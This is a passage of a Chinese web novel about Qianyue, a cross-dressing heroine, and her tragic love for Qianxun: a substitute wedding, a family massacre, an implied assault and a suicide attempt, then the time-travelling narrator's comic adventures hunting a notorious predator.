“为什么,您不是答应了吗?”谦月冲过来问。 “因为,你是女人,那傻丫头还不知道吧?难道你们会有幸福吗?”江绮月厉声说。 “不,芊寻不会在意这些。芊寻和我是”谦月据理力争。 “别说笑了,女人的幸福是什么,你知道吗?就算她今天不后悔,总有一天她会的。随着岁月的流逝,她会想做母亲,这你办得到吗?”江绮月冷笑着。“你看看这婚书,你们家已经写好了。。。。。。” “不会的,你们答应了,为什么”谦月被她的话困住了。她想到了,芊寻是多么喜欢孩子。如果和自己在一起,真的是什么都没有了。 “是呀,他们答应了让她做曹家的媳妇,”师叔把婚书打开递给谦月,“不过曹家的儿子,可不止你一个。”谦月,见到婚书上赫然写着:雪芊寻;曹梦琦。 不可能的,谦月疯狂的撕碎了它。 “我不让,芊寻是我的,我不会把她让给任何人的,她是” “是你的,难道你只顾自己吗?想想曹家,你的存在就是欺君之罪,如若今日硬和她成了亲,就是欺天欺己。难道你想让曹家因为你,而灭门吗。”太奶奶夺门而入,步步紧逼,“也许,我这个老太婆的死活你是不在乎的,可是你敬爱的娘,父亲,还有曹家百年的基业,可就都毁在你这个假小子身上了。你有何面目见祖宗呢?”老太太又将目光转向了叶心。 “够了,不要说了,我不管了,死我也要和芊寻在一起。。。你们拦不住我的,你们”谦月咬咬牙,无论如何都不能再丢下芊寻。 “死,哼哼,是呀”江绮月笑得更冷了,“你真的快死了,你难道没感觉吗,你的罩门已碎。以往的神功反倒成了杀你的帮手,所以你已经活不过半年了” 什么,谦月站不稳了,死亡挡住了她对芊寻的爱,自己这样的身体,怎么可以,怎么可以和芊寻在一起呢?这是希望还是绝望?耳边还有太奶奶在夸赞大哥的话,真的吗,芊寻和大哥在一起会幸福吗?大哥前途无量,他是个真正的男人,可以和芊寻生儿育女,更重要的是他可以陪芊寻走完一辈子。这些,也许很简单,但却是自己无论如何都给不了的! “您……绮月,别说了”娘抱着谦月,哭着说:“太残忍了,你们太残酷了,绮月,谦月的身体怎么受得了。”接着,她小声的对谦月说:“傻孩子,为何你要喜欢上女子,这样的苦。。。。。。” 看着她们,江绮月心里翻涌苦涩“心疼了,叶心,你的心还会痛吗?月儿现在性命难保,若是在情根深种,被雪芊寻牵动心念,只怕更是活不久了,而且曹府为大公子求亲雪医多次被拒,老夫人便借此机会偷龙转凤,你又能如何?这个恶人不如我来演吧”想着,她看到了,在娘怀里的谦月,呆呆的,没有流泪,目光涣散。绮月转过身,眼睛湿润了。残忍吗?曾几何时,这些话,也是一句句的扯碎了自己的心。而且比起那个人给的伤,现在,我已经算是我手下留情了。而且,我拼命也想保住你的女儿,那个我从小就保护的孩子! 突然雷鸣阵阵,乌云来袭,狂风不止,暴雨突至,街上的人们四散避雨,芊寻的轿子也只得停了下来,躲进一个庙里,芊寻很焦急的看着外面瓢泼的大雨。狄远走过来问:“少奶奶,怎么了”芊寻有点要哭了,“你不是说,风和日丽才会有好的婚姻吗?这,现在该如何是好?”狄远笑了,“那要看您嫁的是谁了,我们的谦月少爷,可是万中无一的女婿人选呀!待人温柔,文武双全,有情有义。。。。。”一边说着,狄远一边看着雨,目光温柔,嘴边还有淡淡的笑。 “你好像很了解谦月呀?她会武功的事你都知道。” “这,因为我是少爷的贴身丫鬟嘛!”狄远忙笑着说。 “是吗,讲讲她小时的事吧,”芊寻笑说,隐约有点奇怪的醋意。但是心里还是轻松多了,是呀!和谦月一起怎么会不幸福呢? 芊寻深深的吸了口气,静静的看着天边的乌云,听着淅沥的雨声。心中想着谦月。。。。。。 谦月精神恍惚的走出了房间,院落里已是积水很深了。走进雨里,谦月笑了,原来雨水是暖的,好温暖,比起这世间的真相,真的是太温暖了。张开双手,仰望苍天。谦月狂笑着,接着是一口口血的吐出,渐渐的,血溅染了谦月周围的雨水。 谦月没有去理会,只是静静的看着天空。却依稀看到了,芊寻的笑脸。 27、花烛图燃 两人的心意或许真的是相通的,这一刻,她们都在心里对彼此说着,说着不曾表达的情怀: 月:芊寻,对不起,我要放弃了 寻:谦月,我很快乐,我们要成亲了 月:对你,真的很抱歉,我一直在骗你,我,和你一样是女子,还任性的去喜欢你。 寻:我知道你是女子,这是你心中一直的顾虑吗?真的没关系,我也没办法,当我知道你是女子时,已经深深的爱上了你这个人。改不了了。,就像还心草一般,对你,我的心已结了果,不管人世怎么变,都改不了我对你的心意。 月:你一定会恨我吧!我把你的人生弄得乱七八糟。可是,和你在一起的每时每刻,我都很开心。我是不是太自私了! 寻:正因为有了你,我才会生活的这样快乐。这样就足够了。 月:但是一切都已经随风而去了。 寻:不,不要这样,不单单要这样,让我再贪心一点。我想我们将这样的幸福持续一生。 月:我们不会再有未来的,我将要离开你了,而且这一别便是永远。 寻:我知道,就算,你的生命所剩无几,我也不会放弃,我说过不管是天涯海角,我都陪着你,我们要永远在一起。这就是我的快乐。我希望永远活在你的心里、眼里 月:我会永远把你珍藏在心底,芊寻,我最宝贵的、却不能拥有的人。。。。。 不知是雨还是泪,一颗颗滚烫的珠儿,从谦月的眼中滑落;而雨水化成的帘幕的那头,芊寻满心欢喜的笑着。。。。。。 雨停了。。。。。。。 芊寻下了花轿进了曹府。。。。。。。 谦月换好了衣服,两人来到红彤彤的喜堂。所有人,都很开心,大家推杯换盏,喝的面红耳赤。见到新人来了,就都过来看她们拜天地。 只有谦月知道,自己只是在演一场戏罢了,替代远在边关的大哥拜堂。所有外人都以为谦月就是曹梦琦,今天是曹府大公子的大喜日子。 一拜天地,长相厮守; 二拜高堂,儿孙满堂。这一句句,都像是巨石砸在谦月的胸口,没有人注意到她心底的泪。拜完太奶奶、娘,芊寻示意听一下,原来,她要拜远在乌山的爷爷。于是,两位新人又对着她家乡的方向补了一拜。 周遭的一切都是红的,火红火红的。没错,这就是火,遥远的乌山上的绛雪阁如今已是一片火海了。一群黑衣人在尽情的烧着,杀着。 雪医逃进万生园,刚要锁上门,却被追来的人一脚踹开。 “你以为你将秘密告诉家丁,并将他们遣散各地,就能以此要挟保住自己的性命吗?太天真了。只要主子想,就算是躲进十八层地狱里,也能找得到,看吧”一个魁梧的黑衣人,笑着扔过来一包东西,散落开来,是十几颗人头。都是当年被孙墨寒赶出去的下人们。看来,一切都完了? 孙墨寒摸着这一颗颗血淋淋的人头,最终呢喃着:“你们都尽忠了,”接着他笑着坐在藤椅上,对来人说:“来吧,孙某领死。”黑衣人提了刀向他走来。。。。。 此刻雪医心中想:幸好芊寻走了,不然恐怕也难逃一死。都怪自己当年一时糊涂,跟错了主子,做错了事。逃了这么多年,终于还是带来孙家的灭门之灾。算了,只要芊寻没事就好了。芊寻,我的孙女,你要幸福呀!和那个闯了万生园的小子。这样,我就对得起碧清了。 不对!雪医,突然坐直了身子,如果祖训是真的,虽然早料到了我孙氏会有亡族这天。但这又会不会是一种预示:难道芊寻没有和曹公子子一起吗,难道她不能得到幸福吗,芊寻,芊 刷的一刀,雪医人头落地,同时被斩断的,还有他对孙女的牵挂。。。。。。 火还是火,吞噬了一切的火还在熊熊的燃烧着。。。。。。 还有最后一拜了,随着,“夫妻对拜,送入洞房”,谦月,静静的看着眼前的芊寻,戴着红盖头,一身绛红色的轻纱,还是让人心生爱怜。望着狄远扶着芊寻离去的背影,谦月的眼模糊了。。。。。。。 夜里,圆月当空,雨后的空气很清晰,洞房里芊寻静静的坐在撒着枣、栗子等果子的喜床上。屋中,雕着龙凤的红烛在独自燃着。芊寻在等待着谦月。。。。。。 谦月在窗外,默默的看着她,即便是被盖头遮着,她那美丽的面容、温柔的笑脸还在眼前。谦月想伸手去触碰,但是,太遥远,触及不到。隔着生和死的距离,太遥远了。。。。。 月光下,谦月轻轻的叹,大口大口的灌着酒,一团团烈火被吞下。。。。。。 心事几万重只有情默默,想对灯儿说,灯儿不解我! 好花好月好良宵,如此虚度过,泪珠悄悄落! 错错错,一路走来是谁错? 这这这,这份惆怅如何说! 好花好月好良宵,你也是奈何,我也奈何! 奈何,奈何,奈何。。。。。。 “去吧,月儿,帮芊寻把盖头揭下来,不然她就得这么坐着了,而且新娘自己揭盖头会终生不幸的!”娘走过来,柔柔的说,“至少把这场序幕演完,月儿” “我能为她做的只有这些了吗?”谦月苦笑着,向新房走去,零零乱乱的步子。 “你不怕,她们出事吗?她们那样相爱!”江绮月走了过来。 “正因为,谦月深爱着芊寻,才不会让有着将死之躯的自己,占有芊寻。”叶心说完,头也不回的走了。 进了屋,谦月拿起红色的秤杆。中国自古以来都用秤杆来为新娘子揭盖头的习俗,取称心如意之意。 称心如意,对谦月来说,又是一刀刺在心口。。。。。。 红烛下,芊寻的脸更加美丽,红玉般的。 这是一张谦月想触摸而不能触摸的脸,而这个人,已然是,谦月想拥有而不得拥有的人。 芊寻抬头看着,满脸疲惫的谦月,伸手捧着她的脸,谦月托着芊寻的手,哭了。接着,她搂着芊寻的腰,把头埋在了她的胸前,哭的撕心裂肺。。。。。。 “月儿,怎么了。。。。。” 给我这一刻的温暖,只要这一刻就好,谦月心中念着。。。。。。 芊寻轻轻的捋着谦月的头发。。。。。。 芊寻眼里有爱怜,心里也无比踏实,自己是幸福的,因为谦月就在身边。。。。。 这一夜,很静。很静很静。。。。。。 可是从那以后,因为江绮月天天带着谦月运功疗养,谦月就和芊寻很难见上面,而且谦月也有意与她保持了距离,非常近又非常遥远的距离。 芊寻没有追究谦月的变化,只是默默的等待。 不知怎么回事,江琦月的身体也开始变差,与谦月运功时居然开始吐血。直到有一日,她与叶心吵了起来,突然离去。叶心冷静下来深感不放心,便前去寻找。没想到就在这个时候,危险来了 娘走后的第三天谦月喝了太奶奶送来的参汤,就无法动弹了,随即传来的是芊寻的呼救声、哭泣声,因为住的近,甚至可以听见衣服被撕裂的声音。今天是大哥回来的日子,她的丈夫回来了。谦月想冲过去,可是直到筋脉断了也没能驱散药力。谦月死咬着嘴唇,血和泪都不住流淌着。 夜半时分,带着一身的血,冲进芊寻的房中,一刹那,谦月哭了,那个女孩儿,被自己毁了吗?头发凌乱,衣衫不整,昔日那灵动眼眸此刻也已变得惊恐万分。唯独手中攥着那只银钗,证明它的主人曾经是谁。 谦月上前抱住芊寻,却被芊寻推开了。此刻她什么也说不出。这个结果。。。 “芊寻,对不起。”谦月哽咽着。 半响,芊寻说道,“谦月,我想死,想死”然后就不停地重复着。 “芊寻,我错。。。”谦月泣不成声。 突然芊寻将钗刺向了自己的咽喉。 血又一次飞溅而逝,刺穿的是谦月的手掌,夺下了芊寻手中的钗。 “谦月”,芊寻终于放声大哭起来,抱着谦月,“我一直在叫你,你不理我,你生我气了吗?谦月” 这样就好了吗?太奶奶,您要的就是这样吗,只有您长孙如愿,我们都痛苦就您就开心了吗? 曹冕已回军营了,剩下的只有谦月和芊寻两个残破的灵魂。 芊寻终于说出了诀别之语。“我会在天国等你,不会让你一个人走的。” “别走,芊寻原谅我,求求你,不管发生什么都要活下去,我知道我很可耻,软弱,连累了你”谦月不能再躲了。因为她和芊寻都不能再一次失去彼此了。“最后的日子里,我只想你陪我走完!” 谦月的手还在滴血,昔日定情的银钗也被染红,这世界没有什么是纯洁的了。 她们拥抱着,但是能拥有的只是无尽的泪水和越来越渺茫的明天! 现在,有着谦月躯壳的是我,八百多年以后的倪飞。 我终于看尽了,谦月和芊寻的过往,她们所有的快乐,悲伤。我的泪滴落在湖中,湖中镜子反射的一幕幕都催我落泪。。。。。。 她们后来的故事,今后,我将于有缘处,再叙。。。。。 谦月走过来,温柔的拉起我的手,“现在开始,你就是真正的曹谦月了,所有的一切都是你的。你拥有我的身体,我的心。也许,有一天,你会爱上别人,但是芊寻是你无论如何都忘不掉的,因为,她永远都住在这里”说着,谦月用手指着我的心,“她永远都在我们的心里,倪飞,不,谦月。一切都交给你了。”渐渐的她越飘越远,终于消失在暮色中。。。。。。 此地空留我一人,望着已经平静的水面,回想着她们之间的每一幕。。。。。。。 突然,我感到有股力量将我往别处拉,最后我竟飞了起来,飞着飞着,周遭的青山绿水消失了,我来到了一个繁华的城镇。我看到街上有一群人围了个大圈,而且,议论纷纷的,说什么世风日下,断袖、龙阳。。。。。。 因为还是灵魂,所以我轻松的穿过人群。 哦,住口! 为什么我的身体会躺在地上,又为什么宋帅会爬在我身上,而且按她的动作趋势看。。。。。。 不会吧!她要吻我!?。。。。。。 28、瑚儿 口下留情,我这样叫着冲上去,本想拉住她。但是,根本触及不到,我望着自己的双手,还依稀透明。怎么办,总不能眼睁睁开着“自己”被人kiss吧!而且,我的性别,她会不会。。。。。。 “公,公子,请您快起来,这,这样看起来太奇怪了,请念及身分。公子。”就在她的唇快要贴在我的嘴上时,冷语在身后用胳膊把她驾了起来,一边竭尽全力温柔的阻止,一边劝说。。。。。。。 幸免了! 此刻,我留意到在我的身旁,单膝跪着冷岩,他一手搭在“我”的颈部动脉上,脸色有些阴沉,半响,他无奈的摇摇头。 “放开我,我要救他,你们骗我,一天两天,你们说他无事。到了第三天,依然气息全无。如果他真的有事,我该如何向叶夫人交代”宋帅拼命挣扎着喊道,“这方法可以的,当时他也是救了气息全无的我,放手” 这时冷岩也站起来,走到宋帅身旁,行了个抱拳之礼,低头说道,“主子息怒,我们已经尽力了,曹公子他,身体本就不好,如今也许早登极乐了。” 曹公子,是呀,她已死了,我与她同游数日了,没想到,我们的身体会呈假死状。得了,趁迷你小战士突破防线前,我还是乖乖还阳吧!可是我该怎么做呢?通常电视剧里演的是只要躺回去就好了,姑且试试。我躺在了冰冷的地面上,重合在谦月的身体里,一团火从我的心口蔓延开来,涌上喉咙,弄得我呼吸困难,只得干咳一声,突然睁开眼,人群中有人惊叫着,看,他活了。宋帅等见状也赶忙围过来,我觉得身体变重了,头也有些痛。所以,只是眨着眼看看她们,没有立即起身。 虽然只是短短的几秒钟,那感觉真不好受,原来徘徊在生与死之间是如此的痛苦,看来以后得更爱惜自己的身体了,为了我自己,更为了谦月的嘱托。。。。。。我望着天空,叹口气。 宋帅抓住我的衣领,用力提了提,晃了晃我的头,然后又拍拍揉搓揉搓我的脸,“曹大哥,你没事了,太好了。。。。。。”她问,惊喜万分。坦白的说,头磕在青石板上真的很疼。我笑笑说:“我们换个角度再说吧,” 她们将我扶起,找了路边一个茶摊坐下,围观群众也各忙各的了,中国人就是爱看热闹,而且,热闹过后还可以很自然的继续自己的事,这也是一种强悍的精神力量呀! 小宋帅一坐下就开始喋喋不休的。原来,从那晚我和谦月走后,第二天,她们叫我不醒,一试鼻息,糟了!但是,冷语好容易才切出我那仅如游丝的脉搏,安慰大家,说我只是假死,应该无事。就这样,她们车载着如尸体般的我,开始了旅行。路中还去看望了,洛城的颜家。看来我和如玉是暂无缘分相见了,只有等找到师傅之后再去看她了。而直到刚刚,宋帅就再也沉不住气了,非要为我做人工呼吸,“你也会心肺复苏吗?”听到这里,我问。宋帅,手托着下巴,“应该是可以让人恢复呼吸吧,就像那次在洛河边你救。。。。。” “啊,公子好生坐着,我让哥哥去打探打探,”冷语,忙打断,可能是为了怕她主子说出那尴尬的往事来,我和她的一吻之缘!而冷岩倒是很配合,站起来,对宋帅点了下头就走了。 “我是不会让你死的,”宋帅突然怕怕胸脯说,“你的性命我来守护。” why?我有些感动,也有些疑惑,难道是因为那万两镖银的嘱托? “你是忠臣之后,又是我敬仰的人所托,所以,我会尽全力帮你找到你师傅的”大概是看出了,我眼中的疑惑,宋帅解释说。 “敬仰的人?”我脱口而问。 “不错,正是你的大娘,叶夫人。”宋帅双手交叉轻轻环在两臂上,眼中真的满是崇敬之情,“她是吕家的传人,是对大宋有着大功的人家呢!而且吕家人个个精明过人,处事公正果断” 谦月的大娘?不,是娘,她不是姓叶吗?怎会和吕家扯上关系。 “我们是从万福园出发的吧,那里就是太宗赐给吕家先祖吕蒙正的,还曾说过他是“小事糊涂,大事不糊涂。。。。。。。”,宋帅讲的很开心也很投入。也多亏了她的讲述,不然,我这个做“儿子”的连娘亲的家事都不知道。吕家,比我们曹家要风光的多得多,曹家受太祖赏识,而吕家是深受太宗宠爱的,曾多次的被拜为宰相,为皇帝排忧解难。仔细推敲,自“烛影斧声”的传说后,宋朝都是赵光义一脉即位的,所以吕家自是万年长青了,代代富贵。更重要的是,宋代重文轻武,曹家代代武将,为了富贵权势只有打战一路可走,可是,皇上又不放心他们手握兵权,所以曹家人的生存可谓是步步为营,一切都建立在薄冰上一般,建成困难,但很容易毁于一旦。而吕家呢?治国安邦,名利双收。不单有个聪明的老祖宗,后人也是人才辈出。匡扶了一代又一代君主。 只是有一点遗憾,传到娘这一代,人丁已甚是单薄,只好收养了几名孩子,其中便有后来的曹府大夫人---叶心。当年,她下嫁曹家的故事可是着实轰动了一阵,据说是为了报恩。。。。。。 说着说着,我还听出了,原来宋帅对曹家的了解几乎是零,也难怪了,我家的名望恐怕也高不到哪里,久居洛阳,连上京的机会也很少,悲哀!但是,这些和我都没有什么关系,我也没什么可伤怀的! “所以,为了叶夫人的嘱托,我一定保护你这一路妥妥当当的。”宋帅攥着白玉青葱的小拳头,说着,声音里满是朝气。 “那么我又是为了什么会躺在地上呢?”我问。 “那,那是因为,冷语她们非得阻止,我们在争执中,我把马车给弄翻了,你就掉出去了”宋帅捋这一绺头发,笑着说,有点不好意思了。 “哦,你保护的很好,帅子!”我苦笑着,其实从她的话里话外,她想趁机溜出来游览一番才是她最主要的动机。我有点悲哀自己的生命在她的眼里的渺茫,顺口叫了她这样的名字,大概是最近看了《北风那个吹》,里面刚好有这个名字,我借用一下,挖苦她一下了。 “帅子?”她微微瞪着眼看我,随即“也是个好名字,亲切,平常,谢谢月子大哥了。” “呃,月子?”我笑得更苦,不知古代是不是就有了月子这个词。“算了,你还是叫我谦月吧!” 冷语和宋帅早就笑开了,看来这产后护理的称呼,她们是懂的。 “那你就叫我宋帅好了,” “可是,怎么说呢?我觉得那不像你的名字。我这么说可能是奇怪了些,但是我就是觉得这名字,没有你可爱!”我语无伦次的说着。 “咦!那一串串红色的果子是什么?冷语,我要去买,”喂!她似乎完全没在听我的话,看着不远处的糖葫芦,异常的兴奋,起身要奔去。但被冷语拦了下来,她笑着说,还是由她去买吧! “那叫糖葫芦,”冷语离开后,我跟她解说到,大概这个金枝玉叶当真不“识”人间烟火。“我知道,见过几回了,”说着她看着离远的冷语,把头凑过来,我还没有觉察到她的靠近,只听她在我耳边轻轻的说:“我叫瑚儿,记住了!”我愣着,她的唇早已离开了我的耳边。只见她正了身子坐回去,笑着说:“我只是不想她们担些无谓的心罢了。”温暖的感觉在耳边渐渐消失,散去。。。。。。 此时,冷语也满载而归,拿着五六个根糖葫芦,瑚儿笑着接过去,一边大叫好吃,一边尽享美味。 我看着她饕餮的样子,忍不住笑了,终于知道你的名字了,瑚儿。 “没想到,小公子,你也在这里!”这个有着些许惊喜和挑逗意味的声音到达的同时,瑚儿手里的糖葫芦少了一根。随即,我们见到一位穿着粗布淡蓝色衣服的少年,不知不觉的立在瑚儿身旁津津有味的吃起了那根糖葫芦。 29、婚誓 “阴魂不散,”瑚儿看了来者一眼,就站起来和他打闹,“你别以为我什么都不如你,我能赢你的机会多得是。糖葫芦还我。。。。。”那少年到时轻松的躲过了一波又一波的攻击,身手敏捷,甚是了得。我仔细端详起这位兄弟,模样清秀,就是个子浓缩了点,比瑚儿只矮不高,头戴青色方巾,腰带后插着一把似匕首的短剑。 看着他和瑚儿周旋半响,吃完了手中的糖葫芦,接着,她端起了瑚儿面前的茶碗,一饮而尽。轻轻输了口气,微微笑着,“怎么了,小公子,囊中如此羞涩,连茶都买不起了?”说着他挺直了腰杆,“早点从了吧,娶了我,我养你一辈子。哈哈哈”爽朗无比的笑声。瑚儿憋红了脸,就是碰他不着。“我一定不会输给你的,还有,我就是喜欢温白开水怎么了,要你管!”她们互扮鬼脸,继续彷如无人的打闹,斗嘴。 冷语在一旁轻轻的笑着,我是一头雾水,只是可以肯定,她们认识,而且,这位“公子”也是假的,因为一个“娶”字道破了她和瑚儿的情谊。难道,她把瑚儿当成男人了,的确,穿着男装的瑚儿,恐怕会将潘安逼跳河的。 我实在是疑惑的无聊,就问冷语:“你们早就认识了吗?看样子很熟”冷语稍微平静了下情绪,摇摇头“只认识了,一天而已,她呀”接着她开始娓娓道来,她们在我“昏迷”这三天里的经历。 前日,刚刚离了洛城,来到一片山水之间,冷岩下水以剑刺鱼,准备烤来当午饭。瑚儿见好玩,就跑到湖里来个徒手捉鱼,不亦乐乎之际,只见一道白影划过水迹,根本看不清,就有几条鱼落到岸上,活蹦乱跳的。这才看见一位白衣少女,立于岸边。对着水中的瑚儿喊道:“呵,好俊的小公子,不过可惜,似乎太过文弱了。”阳光下,她好像是无尽生命力的纠集体,闪着活力。 瑚儿正欲争辩,却被她抢先了一步,“不服气了,这样吧,我们比试比试,三盘两胜,你赢了,我满足你一个愿望;但如果我赢了,你就得娶我,这婚誓怎么样,你是占了大便宜喽。我可是文武双全呢”说着,她在岸上用手卷着头发,微微颔首,笑对着湖里的瑚儿。 “我才没兴趣呢?”“噢,是怕输吧,小公子!害什么羞嘛,我这姑娘都主动了,反到是你跟个小娘子似的!”几次相讥,瑚儿终于答应下来,冷岩冷语,被这闹剧的一幕震惊了,没想到这小丫头如此坦荡。别说是她们,我这个二十一世纪的人听了,都觉得她大胆,开放。 本来,我以为以瑚儿的水性,一定没问题的,谁想到,那白衣少女功夫不凡呐,根本无需进水,只是如同蜻蜓点水般的飞了几个来回,并且不时的用着手中的短剑划起涟漪,接着鱼就噼里啪啦的落到岸上,连一向喜怒不动于色的冷岩都无法掩盖自己的惊异,好俊的功夫。结果可想而知。。。。。。瑚儿离娶媳妇近了一步喽。。。。。 我听着冷语的讲述,也禁不住想笑,瑚儿,你是在劫难逃了,美人恩难以消受。谁料,她们大概是吵累了,就坐下来,那位女子看了看我笑了笑,“哦,你就是那日的活死人吧,你终于还阳了,幸会幸会,在下,天如意,是宋帅”她一边说着,一边挑逗的看了瑚儿一眼,“是他最亲密的女伙伴。”宋帅一拳向她打去,却被她单掌拦下。我赶忙和她抱抱拳,我是希望用我的行动证明自己是生物,而非她眼里的疑似僵尸!但是,她的眼睛却没有在离开瑚儿片刻。。。。。。 “好端端的,扮什么男子。”宋帅低头嘟囔。我的嘴角裂开了一丝自己觉得都很微妙的笑容,知道错了。其实在座的三位公子,都是假的,男装下笼着婵娟。。。。。。 但是天如意却以为再说她一人,正了正自己的头巾,“嘿嘿,你不知道吗,这个郡最近有个采花贼频频犯案,专门欺负黄花闺女。你没发现,这街上没有少女吗?”别说,经她这么一说,我才望了望四周,果然,没有年轻女子的身影,似乎连个颇有姿色的少妇都没有。看来真是人心惶惶了。 “你不用担心吧,武功那么高。”瑚儿一边玩着茶碗,一边漫不经心的说。 “那可未必呢?据说他武功深不可测,又轻功极佳。像我这么天生丽质,万一有个好歹,多对不起官人你呀!”啪,瑚儿的茶杯落了地,官人!?这不是妻子对丈夫的称呼吗?天呀!看着她一手捂着脸的苦楚,我到是能体会她的心情。 “再说了,官人的脸,恐怕是误人误己!我要好好的保护你才行!你这倾国倾城的俊俏模样,就是男子也难保不为你倾倒。说真的,拥有你让我很担心呢!”如意一边说着,一手轻轻的提起瑚儿的下颚,甚是爱慕。然后压低了声音,“难道你们不觉得,周围的人聚得有点密吗?” 咦,是呀!好多男人痴痴的望着这里,当然目光是聚在瑚儿那里。而且,卖糖葫芦的大叔也太夸张了吧,我们说话的功夫,他扛着糖葫芦在这里来来回回走了不下二十趟。 “够了,你放弃吧,我很正常,很守礼的。我中意的可是男子,就算会喜欢女人,也不可能是你,明白吗?所以,你快放弃吧!”瑚儿甩开天如意的手,大喊道。这声音可谓是响彻云霄,如七级海啸一般震撼席卷全场观众。我和冷语都喷了水。拜托,就算你要证明你的性取向正常,也要看看自己现在的扮相呀! “唉”我听到了,冷语在微微的叹气,“请别见怪,我们公子他兄弟姐妹众多,但是主子对他最是宠爱有加,就任他既喜欢骑射武功又喜欢吟诗作对,刚柔并济,加之尚且年幼,所以公子他对男女之间的区别和禁忌不是很明白。”哦,难怪,瑚儿把我当哥们,甚至自然的想用人工呼吸救我,看来她还太小了,心理上则越发幼稚,还停留在不分性别的与人相交的阶段。既不懂得和异性保持距离,也不懂得,和同性之间更该保持那到心灵上的雷池之距。 我该说她是难得呢,还是神经大条呢?我所生活的社会,自然是解放了人和人之间的交际关系。但是古代呢?男女七岁就不共室了。真是怎样都是为难。。。。。 我正想着,一位步态扭捏的翩翩公子走了过来。只见他浓妆艳抹,手指极其瘦消,以诡异的曲线滑向了瑚儿的肩头,然后,极其妩媚的笑着,“公子真是勇敢,我们是同道中人啊。其实我,仰慕公子多时了。。。”人妖?我还没有想完这个词,他就飞了出去!天如意的手还停着半空中,接着她还是朝瑚儿笑笑,“无论如何,我要定你了,我的小公子,我会改变你的”说着用手指背轻轻的在瑚儿脸上划了一下。 我们的嘴都惊奇的张大着,经历这一幕,那些唰唰瑚儿的眼神突然一下子都消失了。这时,冷岩回来了,他汇报的情况和天如意说的差不多。最近却有一位,名为涅蜂的采花贼流动于这几个州县间,作恶无数,武功高强,胆大包天,有时居然劫新娘子,毁人一生幸福,实在可恶,但是,却没有人奈何得了他。官府、民间的富户联名发通缉令,悬赏一万两,也没人敢接榜。只是人们惶惶不可终日,原本城镇的繁华早已不见。。。。。。。 “哼,断袖之辈,着实可恨”又是一个声音,突然传来。 原来,刚刚飞出去的“人妖”公子,还躺在路中间,挡住了一座轿子。轿中人看来是个有权有势的人物,而且不喜欢“小相公”。 啪的一声,瑚儿站了起来一拳捶在桌上,竖着眉说道:“太可恶了,我们不能见着不管。我要去揭榜,我们走!”天如意,打了个哈气,懒懒的说“没兴趣,”但是她突然很撩人的看着瑚儿,说道“除非,你把他定为你我二人的比试,为了赢得你,我可是赴汤蹈火,万死不辞”又在挑衅了,我看着瑚儿,心想,这样不可能的事,这么聪慧的你,不会做吧!“好呀,谁怕谁呀!你等着输吧,到时别再缠着我了”说着两人击掌为誓。 我无奈的摇摇头,她真是吃定了瑚儿,这丫头可能正值青春叛逆期,本性再怎么善良,睿智,只要用激将法一激,她就会变成热血的小魔鬼。喂,多少考虑一下自己的任务吧,我这个将死之人可经不起这样的折腾。也许,我是自私的,但是,我真想快点找到布袋和尚,治好伤,因为我必须活下去。 至于这样危险的闲事,我真的有能力管吗?瑚儿,你也真是太任意妄为了! 我正低头生着闷气,却见刚才的轿子停在了我们旁边。从中走下来一位,中年人,穿着华丽,下巴上微微有点胡须,面容刚毅,看起来阳刚的很,而且似乎正气凛然,这从他对待刚刚的人妖公子就能看出了。 原来他是此地的知州,适才听闻我们要去捉拿采花贼,便请我们去他府上暂住,从长计议。 瑚儿和天如意都没有推辞,就这样,我们进了州府。。。。。。 晚上,我和瑚儿睡在一个屋子里。因为,郑大人为官清廉,所以府邸很小,加上年久失修,根本没有足够的客房给我们住,于是就按照我们衣服的样式,分配了一下:我和瑚儿,天如意和冷岩,冷语则和他的妹妹住在一起。虽然,我们大都强烈反对,特别是天如意,但是大人就是不同意。天如意,又不能揭穿自己女扮男装的身份。没办法,忍了吧! 我和瑚儿的屋里有一张床,一张睡榻。当然了,她是不会把床让给我的,就算我是病人。 夜里,我刚刚要吹熄灯。瑚儿却叫住了我,“不要,我怕黑。”怕黑,是呀,我也是恐惧黑夜的,自从家人都去外国后。本来我的胆子很小的,一个人时经常是将灯开一夜,后来渐渐的我告诉自己谁呀不能陪你一辈子,一切得靠自己,终于,我和所有中国当代青年一样,变得坚强,但是也许那只是冷漠,自私的体现吧! “那你在家都怎么睡呀?也是一宿一宿的点着灯?”我坐起来问。 “才不呢?”她也坐起来,撅着嘴,“有人陪我的,我的。。。。。姐姐” “不会吧,你是小孩子吗!”我本来想逗逗她,但是她生气了,一下子背朝着我躺下去。我并没有吹熄灯,也回了躺了睡榻上。 想着,醒来前看到的,拿出了紫玉蝴蝶,想着。。。。。。 又想到了醒来后的事和人,瑚儿、天如意,采花贼。。。。。。。 睡不着!但我不是孤单的失眠者,因为,我听到瑚儿也一直在翻来覆去的“烙饼”呢? “快睡吧!”我打了个哈气说 “睡不着,”她又坐了起来,“那就使劲睡!”我貌似认真的说。 “讨厌”她又躺下了,呼吸沉重,显得愈发烦乱。 “那我给你讲故事吧!”看她那可怜的样子,我想反正我也睡不着了,不如这样,说不定一会我们就会迷糊了。 “好呀,什么故事”她转向了我,惊喜的笑着问。 “我在我的家乡时看到的故事,先讲个天空之城吧!”我可是个动漫fans,宫崎骏的作品我更是如数家珍,喜欢的不得了。讲起来绘声绘色,对了,以前在学校时,我吸引了很多人听我讲我看过的影视,故事。现在,正好派上用场了。 “你的家乡只不过是离城不足万里的洛阳,为什么,会有那样新奇的事物呢?”她突然眨着眼认真的问我。 “因为这些都是故事,只是梦幻而已。继续听吧,闭上眼,幻想一下自己在天空之城的模样,飞翔于白云端。。。。。。”我柔柔的说 渐渐的,我听到了她均匀的呼吸声,我望着她,傻丫头,嘴角还带着笑呢!被烛光一映,真是如同恬睡的angel。 烛火燃尽了,屋子终于被一片黑暗笼罩。瑚儿是睡了,我反倒是精神了些。 这回换我使劲睡了。我闭上眼。。。。。。 窗外,一个黑影慢慢袭来,似乎我们都没有觉察到,邪恶正悄悄来临。。。。。。 30、夜袭 不知怎的,我的眼皮越来越沉,身子也是,我想起身却发现已经没有力气了。我觉得这和古装电影里的中了毒很像,那么是有谁要对我们不利呢? 门,“吱”的一声被推开,我竖起耳朵听着,一连串轻轻的脚步声,朝瑚儿所躺的床移去。不好,难道是采花贼,被瑚儿的姿颜所迷,连“男子”也不放过了。冷汗从我的额头流下,不可以眼睁睁的看着她被糟蹋。 